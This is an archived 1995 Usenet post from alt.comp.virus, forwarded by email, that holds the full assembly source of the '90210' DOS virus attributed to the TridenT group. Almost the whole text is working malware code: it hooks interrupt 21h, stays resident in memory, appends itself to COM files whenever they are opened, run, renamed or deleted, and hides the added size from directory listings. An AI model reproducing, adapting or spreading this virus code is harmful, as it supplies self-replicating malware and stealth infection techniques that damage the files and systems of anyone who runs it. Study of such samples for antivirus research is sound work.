home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 90210.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  9KB  |  378 lines

  1. From smtp Tue Feb  7 13:13 EST 1995
  2. Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue,  7 Feb 95 13:13 EST
  3. Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
  4.      id NAA30823 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:16:19 -0500
  5. Date: Tue, 7 Feb 1995 13:16:19 -0500
  6. From: lynx.dac.neu.edu!ekilby (Eric Kilby)
  7. Content-Length: 8866
  8. Content-Type: text
  9. Message-Id: <199502071816.NAA30823@lynx.dac.neu.edu>
  10. To: pobox.jwu.edu!joshuaw 
  11. Subject: (fwd) 90210
  12. Newsgroups: alt.comp.virus
  13. Status: O
  14.  
  15. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!uwm.edu!news.alpha.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  16. From: danishm@iia.org ()
  17. Newsgroups: alt.comp.virus
  18. Subject: 90210
  19. Date: 5 Feb 1995 21:55:07 GMT
  20. Organization: International Internet Association.
  21. Lines: 345
  22. Message-ID: <3h3hfr$sb@ankh.iia.org>
  23. NNTP-Posting-Host: iia.org
  24. X-Newsreader: TIN [version 1.2 PL2]
  25.  
  26. Here is the 90210 virus:
  27.  
  28. ;90210 Virus from the TridenT virus research group.
  29.  
  30. ;This is a semi-stealth virus that hides file-size changes while
  31. ;it is in memory.  It marks the files w/the timestamp.  It will
  32. ;infect COM files on open, execute, delete, and rename.  It checks
  33. ;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's
  34. ;to go memory resident.
  35.  
  36. ;Disassembly by Black Wolf
  37.  
  38. .model tiny  
  39. .code
  40.  
  41.         org     100h
  42.   
  43. start:
  44.         push    ax
  45.         call    GetOffset
  46.  
  47. GetOffset:
  48.         pop     bp
  49.         sub     bp,offset GetOffset-start
  50.  
  51.         mov     ax,0DEADh
  52.         int     21h                     ;Are we installed?
  53.         cmp     ax,0AAAAh 
  54.         je      DoneInstall
  55.  
  56.         mov     ax,3521h
  57.         int     21h                     ;Get int 21 address
  58.                
  59.     db      2eh, 89h,9eh,77h,0h     ;mov cs:[OldInt21-start+bp],bx
  60.     db      2eh, 8ch, 86h, 79h, 0   ;mov word ptr cs:[OldInt21-start+2+bp],es
  61.  
  62.         mov     ax,cs
  63.         dec     ax
  64.         mov     ds,ax
  65.         cmp     byte ptr ds:[0],'Z'
  66.         jne     DoneInstall         ;Are we the last block in chain?
  67.         
  68.         mov     ax,ds:[3]               ;Get MCB size
  69.         sub     ax,38h                  ;subtract virus memory size
  70.         jc      DoneInstall             ;exit if virus > MCB
  71.  
  72.         mov     ds:[3],ax               ;Set MCB size
  73.         ;sub     word ptr ds:[12h],38h  ;Subtract virus mem from 
  74.         db      81h,2eh,12h,0,38h,0     ;top of memory in PSP
  75.         
  76.         mov     si,bp
  77.         mov     di,0
  78.         mov     es,ds:[12h]             ;Get top of memory from PSP
  79.         push    cs
  80.         pop     ds
  81.         mov     cx,287h
  82.         cld          
  83.         rep     movsb                   ;Copy virus into memory
  84.         
  85.         mov     ax,2521h        
  86.         push    es
  87.         pop     ds
  88.         mov     dx,offset Int21Handler-start
  89.         int     21h                     ;Set int 21h
  90.                
  91. DoneInstall:
  92.         mov     di,100h
  93.         lea     si,[bp+Storage_Bytes-start]
  94.         push    cs
  95.         push    cs
  96.         pop     ds
  97.         pop     es
  98.         cld 
  99.         movsw
  100.         movsb                           ;Restore Host file.
  101.         mov     bx,offset start
  102.         pop     ax
  103.         push    bx
  104.         retn                            ;Return to Host
  105.  
  106.   
  107. VirusName       db      '[90210 BH]'
  108.         
  109. OldInt21:                
  110.         dw      0                
  111.         dw      0
  112.         
  113. Int21Handler:
  114.         cmp     ax,0DEADh               ;Install Check?
  115.         jne     NotInstall   
  116.         mov     ax,0AAAAh
  117.         iret 
  118. NotInstall:
  119.  
  120.         cmp     ah,11h                  ;FCB find first
  121.         je      FCBSearch
  122.         cmp     ah,12h                  ;FCB find next
  123.         je      FCBSearch
  124.         cmp     ah,4Eh                  ;handle find first
  125.         je      HandleSearch
  126.         cmp     ah,4Fh                  ;handle find next
  127.         je      HandleSearch
  128.         
  129.         push    ax bx cx dx si di bp ds es
  130.  
  131.         cmp     ah,3Dh                  ;handle file open
  132.         je      SetupNameCheck
  133.         cmp     ax,4B00h                ;file execute
  134.         je      SetupNameCheck
  135.         cmp     ah,41h                  ;handle file delete
  136.         je      SetupNameCheck
  137.         cmp     ah,43h                  ;get/set attributes
  138.         je      SetupNameCheck
  139.         cmp     ah,56h                  ;rename file
  140.         je      SetupNameCheck
  141.         
  142.         cmp     ah,0Fh                  ;Open file w/FCB
  143.         je      TryToInfect
  144.         cmp     ah,23h
  145.         je      TryToInfect             ;Get file size
  146.         jmp     ExitInfect
  147.         
  148. FCBSearch:
  149.         jmp     FCBStealth
  150. HandleSearch:
  151.         jmp     HandleStealth
  152.  
  153. TryToInfect:
  154.         db      89h,0d6h         ;mov     si,dx
  155.  
  156.         inc     si
  157.         push    cs
  158.         pop     es
  159.         mov     di,offset ds:[Filename-start]     ;Copy filename
  160.         mov     cx,8
  161.         rep     movsb
  162.         mov     cx,3
  163.         inc     di
  164.         rep     movsb
  165.  
  166.         mov     dx,Filename-start
  167.         push    cs
  168.         pop     ds
  169.  
  170. SetupNameCheck:
  171.         db      89h, 0d6h        ;mov     si,dx
  172.         mov     cx,100h
  173.         cld 
  174.   
  175. Find_Extension:
  176.         lodsb
  177.         cmp     al,'.'                  ;Find '.'
  178.         je      CheckFilename
  179.         loop    Find_Extension
  180.         db      0e9h, 13h, 0             ;jmp     FilenameBad
  181. CheckFilename:
  182.         lodsw 
  183.         or      ax,2020h                ;Set to lowercase
  184.         cmp     ax,6F63h                ;Is it a com file?
  185.         jne     FilenameBad
  186.         lodsb        
  187.         or      al,20h
  188.         cmp     al,6Dh
  189.         jne     FilenameBad
  190.         db      0e9h, 3, 0              ;jmp     InfectFile 
  191.  
  192. FilenameBad:
  193.         jmp     ExitInfect 
  194.  
  195. InfectFile:
  196.         push    dx
  197.         push    ds
  198.         mov     ax,4300h
  199.         pushf         
  200.         call    dword ptr cs:[OldInt21-start]      ;Get Attributes
  201.         mov     word ptr cs:[FileAttribs-start],cx ;Save them
  202.         
  203.         mov     ax,4301h
  204.         xor     cx,cx
  205.         pushf           
  206.         call    dword ptr cs:[OldInt21-start]     ;Reset Attribs to 0
  207.         
  208.         mov     ax,3D02h
  209.         pushf
  210.         call    dword ptr cs:[OldInt21-start]     ;Open file
  211.         jnc     OpenGood
  212.         jmp     FileClosed
  213.  
  214. OpenGood:
  215.         xchg    ax,bx
  216.         mov     ax,5700h
  217.         pushf              
  218.         call    dword ptr cs:[OldInt21-start]      ;Get file time/date
  219.         mov     word ptr cs:[FileTime-start],cx  ;save time
  220.         mov     word ptr cs:[FileDate-start],dx  ;save date
  221.  
  222.         and     cx,1Fh
  223.         cmp     cx,1Fh
  224.         jne     NotInfected                    ;Check infection
  225.         db      0e9h, 76h, 0                   ;jmp     Close_File
  226. NotInfected:
  227.         mov     ah,3Fh                  
  228.         push    cs
  229.         pop     ds
  230.         mov     dx,Storage_Bytes-start
  231.         mov     cx,3
  232.         pushf                          
  233.         call    dword ptr cs:[OldInt21-start] ;Read in first 3 bytes
  234.  
  235.         cmp     word ptr cs:[Storage_Bytes-start],5A4Dh    
  236.         je      DoneWithFile        ;Is it an .EXE file?
  237.  
  238.         cmp     word ptr cs:[Storage_Bytes-start],4D5Ah
  239.         je      DoneWithFile        ;Alternate EXE sig?
  240.  
  241.         mov     ax,4202h
  242.         xor     cx,cx
  243.         xor     dx,dx
  244.         pushf        
  245.         call    dword ptr cs:[OldInt21-start] ;Go end of file.
  246.         
  247.         sub     ax,3                        ;Save jump size
  248.         mov     word ptr cs:[Jump_Bytes-start+1],ax
  249.         
  250.         mov     ah,40h                  
  251.         push    cs
  252.         pop     ds
  253.         mov     dx,0
  254.         mov     cx,287h
  255.         pushf          
  256.         call    dword ptr cs:[OldInt21-start] ;Append virus to file
  257.         
  258.         mov     ax,4200h
  259.         xor     cx,cx
  260.         xor     dx,dx
  261.         int     21h                          ;go back to beginning
  262.                
  263.         mov     ah,40h                  
  264.         mov     dx,Jump_Bytes-Start
  265.         mov     cx,3
  266.         pushf        
  267.         call    dword ptr cs:[OldInt21-start]      ;Write in jump
  268.         or      word ptr cs:[FileTime-start],1Fh ;Mark as infected
  269.  
  270. DoneWithFile:
  271.         mov     ax,5701h
  272.         mov     cx,word ptr cs:[FileTime-start]   
  273.         mov     dx,word ptr cs:[FileDate-start]   
  274.         pushf                               
  275.         call    dword ptr cs:[OldInt21-start] ;Restore File Date/Time
  276.  
  277. Close_File:
  278.         mov     ah,3Eh
  279.         pushf          
  280.         call    dword ptr cs:[OldInt21-start] ;Close file
  281.         
  282.         pop     ds
  283.         pop     dx                          ;Pop filename address
  284.         push    dx
  285.         push    ds
  286.         mov     ax,4301h
  287.         mov     cx,ds:[FileAttribs-start]
  288.         pushf             
  289.         call    dword ptr cs:[OldInt21-start]    ;Restore attributes
  290.  
  291. FileClosed:
  292.         pop     ds
  293.         pop     dx
  294.  
  295. ExitInfect:
  296.         pop     es ds bp di si dx cx bx ax
  297.         jmp     dword ptr cs:[OldInt21-start]  ;Jump back into Int 21h
  298.   
  299. GetDTA:
  300.         pop     si
  301.         pushf
  302.         push    ax bx es
  303.         mov     ah,2Fh
  304.         call    CallInt21
  305.         jmp     si
  306.  
  307. FCBStealth:
  308.         call    CallInt21
  309.         cmp     al,0                    ;Did call work?
  310.         jne     NoStealth
  311.         call    GetDTA
  312.         cmp     byte ptr es:[bx],0FFh   ;Extended FCB?
  313.         jne     AfterFCBAdjust
  314.         add     bx,8
  315.  
  316. AfterFCBAdjust:
  317.         mov     al,es:[bx+16h]          ;Get time stamp
  318.         and     al,1Fh
  319.         cmp     al,1Fh                  ;infected?
  320.         jne     DoneFCBStealth
  321.  
  322.         sub     word ptr es:[bx+1Ch],287h ;Subtract virus size
  323.         sbb     word ptr es:[bx+1Eh],0    ;adjust for carry
  324.         jmp     short ResetTime
  325.  
  326. HandleStealth:
  327.         call    CallInt21
  328.         jc      NoStealth 
  329.         call    GetDTA      
  330.         mov     al,es:[bx+16h]              ;Get file time
  331.         and     al,1Fh
  332.         cmp     al,1Fh
  333.         jne     DoneFCBStealth
  334.         sub     word ptr es:[bx+1Ah],287h   ;Subtract virus size
  335.         sbb     word ptr es:[bx+1Ch],0      ;adjust for carry
  336.  
  337. ResetTime:
  338.         xor     byte ptr es:[bx+16h],10h    ;Restore time to norm.
  339.  
  340. DoneFCBStealth:
  341.         pop     es bx ax
  342.         popf
  343.   
  344. NoStealth:
  345.         retf    2 
  346.  
  347. CallInt21:
  348.         pushf
  349.         call    dword ptr cs:[OldInt21-start]
  350.         retn
  351.  
  352. Storage_Bytes:                
  353.         nop
  354.         int     21h
  355.         
  356. Filename        db      8 dup (0)
  357.         db      '.'
  358. Extension       db      3 dup (0)
  359.         db      0
  360.  
  361. FileAttribs     dw      0
  362. FileTime        dw      0
  363. FileDate        dw      0
  364.  
  365. Jump_Bytes      db      0E9h, 00h, 00h
  366.  
  367. AuthorName      db      ' John Tardy / TridenT '
  368.  
  369. end     start
  370.  
  371.  
  372. --
  373. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  374. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  375. Student at the Northeatstern University College of Computer Science 
  376. "I Can't Believe It's Not Butter"
  377.  
  378.